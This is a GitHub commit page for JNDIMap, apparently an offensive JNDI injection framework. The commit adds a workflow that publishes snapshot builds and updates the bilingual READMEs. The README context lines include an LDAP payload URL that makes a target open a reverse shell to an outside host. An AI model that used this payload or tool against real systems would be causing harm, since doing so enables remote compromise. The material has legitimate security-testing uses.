Skip to content

Commit 5509b48

Browse files
committed
chore: 增加 GitHub Workflow 自动构建
增加 GitHub Workflow 自动构建
1 parent 33a727c commit 5509b48

File tree

3 files changed

+78
-4
lines changed

3 files changed

+78
-4
lines changed
Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
name: Snapshot Release
2+
3+
on:
4+
push:
5+
branches:
6+
- main
7+
8+
jobs:
9+
build-and-release:
10+
runs-on: ubuntu-latest
11+
12+
steps:
13+
- name: Checkout code
14+
uses: actions/checkout@v4
15+
16+
- name: Set up JDK 8
17+
uses: actions/setup-java@v4
18+
with:
19+
java-version: '8'
20+
distribution: 'temurin'
21+
22+
- name: Build with Maven
23+
run: mvn clean package -DskipTests
24+
25+
- name: Get commit info
26+
id: commit
27+
run: |
28+
echo "sha_short=$(git rev-parse --short HEAD)" >> $GITHUB_OUTPUT
29+
echo "build_time=$(date)" >> $GITHUB_OUTPUT
30+
31+
- name: Delete previous pre-releases
32+
uses: actions/github-script@v7
33+
with:
34+
script: |
35+
const { owner, repo } = context.repo;
36+
const releases = await github.rest.repos.listReleases({ owner, repo });
37+
for (const rel of releases.data) {
38+
if (rel.prerelease && rel.tag_name.startsWith("snapshot-")) {
39+
console.log(`Deleting old pre-release: ${rel.tag_name}`);
40+
try {
41+
await github.rest.repos.deleteRelease({ owner, repo, release_id: rel.id });
42+
} catch (e) {
43+
console.warn(`Failed to delete release ${rel.tag_name}:`, e.message);
44+
}
45+
try {
46+
await github.rest.git.deleteRef({ owner, repo, ref: `tags/${rel.tag_name}` });
47+
} catch (e) {
48+
console.warn(`Failed to delete tag ${rel.tag_name}:`, e.message);
49+
}
50+
}
51+
}
52+
53+
- name: Rename artifact
54+
run: |
55+
mkdir -p dist
56+
SRC_JAR=$(ls target/*.jar | head -n 1)
57+
NEW_JAR="dist/JNDIMap-snapshot-${{ steps.commit.outputs.sha_short }}.jar"
58+
cp "$SRC_JAR" "$NEW_JAR"
59+
echo "Renamed artifact to $NEW_JAR"
60+
61+
- name: Create Pre-release
62+
uses: softprops/action-gh-release@v2
63+
with:
64+
tag_name: snapshot-${{ steps.commit.outputs.sha_short }}
65+
name: snapshot-${{ steps.commit.outputs.sha_short }}
66+
body: |
67+
Release created at ${{ steps.commit.outputs.build_time }}.
68+
Latest snapshot build of **JNDIMap** on *main* branch.
69+
prerelease: true
70+
make_latest: true
71+
files: |
72+
dist/*.jar
73+
env:
74+
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

README.en.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ JNDIMap is a powerful JNDI injection exploitation framework that supports RMI, L
1919

2020
## 🚀 Quick Start
2121

22-
Download JNDIMap from the [Release](https://github.com/X1r0z/JNDIMap/releases) page, and pass the `-i` parameter to specify the external IP when running
22+
Download JNDIMap from the [Releases](https://github.com/X1r0z/JNDIMap/releases) page, and pass the `-i` parameter to specify the external IP when running
2323

2424
```bash
2525
java -jar JNDIMap-version.jar -i 10.0.0.1
@@ -87,7 +87,7 @@ ldap://10.0.0.1:1389/Basic/ReverseShell/10.0.0.1/1337
8787

8888
## ⚙️ Compile
8989

90-
The version of [Releases](https://github.com/X1r0z/JNDIMap/releases) may be outdated, it is recommended to pull the source code and compile it yourself when using it (based on JDK 8)
90+
[Releases](https://github.com/X1r0z/JNDIMap/releases) includes stable and snapshot versions (the latest version automatically built based on the main branch). You can also pull the source code and compile it yourself (based on JDK 8)
9191

9292
```bash
9393
git clone https://github.com/X1r0z/JNDIMap && cd JNDIMap

README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ JNDIMap 是一个强大的 JNDI 注入利用框架, 支持 RMI、LDAP 和 LDAPS
1919

2020
## 🚀 快速上手
2121

22-
[Release](https://github.com/X1r0z/JNDIMap/releases) 页面下载 JNDIMap, 运行时传入 `-i` 参数指定外部 IP
22+
[Releases](https://github.com/X1r0z/JNDIMap/releases) 页面下载 JNDIMap, 运行时传入 `-i` 参数指定外部 IP
2323

2424
```bash
2525
java -jar JNDIMap-version.jar -i 10.0.0.1
@@ -87,7 +87,7 @@ ldap://10.0.0.1:1389/Basic/ReverseShell/10.0.0.1/1337
8787

8888
## ⚙️ 编译
8989

90-
[Releases](https://github.com/X1r0z/JNDIMap/releases) 的版本可能存在滞后, 推荐在使用时拉取源码自行编译 (基于 JDK 8)
90+
[Releases](https://github.com/X1r0z/JNDIMap/releases) 包含稳定版和 snapshot 版 (基于 main 分支自动构建的最新版本), 你也可以在使用时拉取源码自行编译 (基于 JDK 8)
9191

9292
```bash
9393
git clone https://github.com/X1r0z/JNDIMap && cd JNDIMap

0 commit comments

Comments
 (0)